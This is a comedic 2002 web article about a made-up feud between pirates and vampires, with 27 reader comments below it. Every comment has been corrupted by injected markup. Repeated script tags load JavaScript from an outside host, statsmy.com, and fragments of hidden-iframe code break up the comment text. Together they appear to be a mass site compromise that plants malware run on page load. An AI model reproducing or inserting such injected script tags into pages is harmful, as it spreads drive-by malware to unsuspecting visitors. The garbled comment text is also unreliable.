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Pirates vs. Vampires: The Eternal Struggle
by Kris on 11/6/2002 (27)

Once friends, now bitter enemies.
For years, there has been a long standing hatred between Pirates and Vampires, a hatred even greater than the hatred between man and beast or man and machine. These two powerful groups have battled for nearly five thousand years for supremacy of land, sea, day, and the night. This bitter feud all stems from the origins of these two once friendly groups.

In the early 8th century, Pirates and Vampires lived together in harmony on the wonderful island of Tahiti. Days consisted of laying around the beach, drinking rum, and games of Capture the Flag that lasted all through the night. Things were good for all Pirates and all Vampires. The two were inseparable, just like David and Goliath, who were also good buddies despite what you may have read elsewhere. Practically the only time when the two groups were apart was when the Vampires were feeding on the living or when the Pirates were hiding their treasure of gold doubloons and assorted booty.

Then faster than you can say "Holy crap, that was fast", things changed. During a routine game of capture the flag, Captain Morgan hid his team's flag in a small hole he had dug, a clear violation of their rules for Capture the Flag. "I was just so used to burying my treasure," claimed Captain Morgan, "I didn't even realize what I had done until it was too late." When this violation lead to a victory by the Pirate team, it greatly angered the Vampire leader, Count Dracula. Count Dracula became so angry that he rallied the Vampires and began a massive nonviolent protest against the Pirates until the official Capture the Flag records were changed to reflect this obvious cheating.

"I understand their claims," said Captain Morgan, "but we can't change the records. We wrote them in pen."

I love the nightlife, I got to boogie on the disco 'round, oh yea.
The Pirates didn't want to have the Vampires angry with them so they attempted to offer a compromise. They offered to cross out the old entry and make a new entry and even offered to write over the old entry so that it looked like the Vampires had won the game. And yet, Dracula would not accept these terms, asking for nothing less than traveling back in time and hiding the flag in a legal location. To this claim, the Pirates could not comply.

"We wanted to honor their wishes," said Black Beard the Pirate. "After all, the Vampires were our greatest friends and allies. But look at us, we're fricken Pirates, we can't travel back in time! Who do we look like, Manute Bol?!? And this isn't Star Trek either, we can't just whip around the sun and instantly be back in time! Not that I know what Star Trek or the sun is, but it defiantly doesn't sound possible."

The Vampires became very angry as the Pirates still refused their claims. Soon the two groups failed to communicate with each other. All the good times ceased as the Vampires planned to take what was theirs by any means necessary.

"One can only be pushed so far before they must take a stand," Count Dracula proclaimed at a Pro-Vampire rally held in the town square. "The Pirates have held us down for far too long. We must take a stand now. First the Pirates cheat us out of a Capture the Flag game, what is next? The time for action is at hand, we must rise up and destroy the Pirates before they destroy us all!"




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Comments

1. by time on 3/1/2007 4:52:29 PM
rofl!!! this is hillarious the best one yet!!h=" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by not jackdaw on 3/1/2007 4:52:29 PM
yes yes, very well done my friend, alhtough ironicaly enough i just watched a vampire movie last night...< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
3. by name and adress withheld on 3/1/2007 4:52:29 PM
could canadian binary robots beat the undead zombie robots?? </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
4. by time on 3/1/2007 4:52:29 PM
no way!! didnt u hear the pirate they r unbeatable!! no one can compete against them except undead zombie robots with flame throwers for hands </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
5. by Matt on 3/1/2007 4:52:29 PM
There are no true pirates anymore, just wussified descendants more interested in pillaging the fridge than the oceans. Ex-wives and lawyers make regular vampires pale in comparison. And undead zombie robots are always present in large numbers whenever there is a TV on. Make that mindless undead zombie robots... for only the mindless would subjegate themselves to the crap that passes for prime time television these daysone"></ifram </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
6. by Matt again on 3/1/2007 4:52:29 PM
Why haven't the vampires attacked The Pirates Of The Caribbean yet? Disney have a 'no undead' rule or sumthin?isplay:none"></ifr </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
7. by Zherak_Khan on 3/1/2007 4:52:29 PM
Hillarious. KutGW (keep up the good work).h="0"< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
8. by Majin on 3/1/2007 4:52:29 PM
good work kris!isplay:n </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
9. by Medical_Hippo (kirk) on 3/1/2007 4:52:29 PM
awesome! vampires and pirates are fun!ig </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
10. by ~Crusader~ on 3/1/2007 4:52:29 PM
HIlarious...simply Hilarious!"0" st </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
11. by Angie on 3/1/2007 4:52:29 PM
allo Kris S. dis vas a vvery awvsum storvy. most truthful...who have u been talking too?! ::mumbles to the figure on her right 'he knows too much...we must extervminate him...' :: smiles at u with long flashy + pointy vampire-ish teeth::"0" styl </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
12. by The Godfather. on 3/1/2007 4:52:29 PM
Actually, the mafia was involved too, but only to provide the vampires with spanking new tuxedoes and teach them how to make spaghetti if their food(blood)ran out. Oh! Yah! They were there also to sell insurence to both parties.ispla </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
13. by Jake.Sibley.Gt on 3/1/2007 4:52:29 PM
awsome, this has inspired me to right my own story about pirates, ninjas, vampires, gorillas, and gay asian midgets. I owe the money I will make from my novel to u, and for theat, I thank u.n </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
14. by Jake.Sibley.Gt on 3/1/2007 4:52:29 PM
awsome, this has inspired me to right my own story about pirates, ninjas, vampires, gorillas, and gay asian midgets. I owe the money I will make from my novel to u, and for theat, I thank u.n </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
15. by Jake.Sibley.Gt on 3/1/2007 4:52:29 PM
awsome, this has inspired me to right my own story about pirates, ninjas, vampires, gorillas, and gay asian midgets. I owe the money I will make from my novel to u, and for theat, I thank u.n </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
16. by Jake.Sibley.Gt on 3/1/2007 4:52:29 PM
awsome, this has inspired me to right my own story about pirates, ninjas, vampires, gorillas, and gay asian midgets. I owe the money I will make from my novel to u, and for theat, I thank u.n </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
17. by Jake.Sibley.Gt on 3/1/2007 4:52:29 PM
awsome, this has inspired me to right my own story about pirates, ninjas, vampires, gorillas, and gay asian midgets. I owe the money I will make from my novel to u, and for theat, I thank u.n </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
18. by jake agiang on 3/1/2007 4:52:29 PM
sorry, didn't mean to make more than 1, lolh="0" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
19. by secret squirrel on 3/1/2007 4:52:29 PM
I thought in the end they joined together and created the superior race of vampirates we all know and love. [sigh] I guess it was all just a beautiful dream...?sid=1 </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
20. by pippy the poo-flinging monkey on 3/1/2007 4:52:29 PM
HACK!!! ye are nae vampirate that mine eyes hath seen. i challenge ye tae a Vampirate war!!!!! www.vampirate-realm.tkisplay:none </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
21. by pippy the poo-flinging monkey on 3/1/2007 4:52:29 PM
HACK ye are nae vampirate that mine eyes hath seen! i challenge ye tae a vampirate war. visit the REAL vampirates <www.vampirate-realm.tk>"0 </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
22. by pippy the poo-flinging monkey on 3/1/2007 4:52:29 PM
ooooh.. so th4e little pansy-boy won't let me link ye tae me site.. well ye are still a hack, and ye are still nae kind of vampirate, especially now that ye have tried to back out of a war. THIS IS WAR!!! </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
23. by Kitty on 3/1/2007 4:52:29 PM
No the only Vampirates are the Pirates of Penzance duh!?sid= </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
24. by Tommie on 3/1/2007 4:52:29 PM
I think dis is crap wats da fucking point of doing dis whole site i think its fucking anoying!!!!!!!!!!!!!!!!!!!! Just joking i think its great and fun and my bro keeps coming on dis site!!!!!!!! He is Tom and he loves it!!!!!!!!!isp </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
25. by Kris on 3/1/2007 4:52:29 PM
Hi Tom!isplay:none"></i </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
26. by pixelcrash on 3/1/2007 4:52:29 PM
i made some clothes with pirates and robots and ninjas and zombies on it. figured it was applicable to this funny ass story. if the link i put up doesn't work, just go to cafepress and search shops for pixelcrash. the link is www.cafeshops.com/pixelcrash enjoyi </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
27. by Alex... on 3/1/2007 4:52:29 PM
I wrote an essay for my high schools writing class a month ago titles "Pirate vs. Ninjas: The Beautiful Struggle".... i just read your essay, get out of my head. Good writing though.uild </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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